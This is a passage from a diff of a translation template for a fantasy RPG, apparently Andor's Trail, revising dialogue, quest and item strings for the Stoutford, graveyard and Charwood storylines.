msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22324,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22340,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22350,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22380,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22389,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22422,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22434,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22490,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22498,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22510,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22647,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22656,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22681,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22717,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22932,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23034,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23069,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24302,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24484,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26191,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26199,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26260,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26294,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26345,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26405,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26816,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +26992,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27143,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27169,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27302,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27310,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27320,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27417,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27570,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27589,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27602,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27737,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27777,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27813,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27837,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27858,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27882,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27978,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28068,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28104,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28427,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28439,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28459,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28969,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28985,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29003,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29023,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29035,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29227,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31147,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31203,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31215,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36215,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36247,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36255,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36271,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36831,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36851,7 @@ msgid "I killed the undead and took the key."
msgstr ""
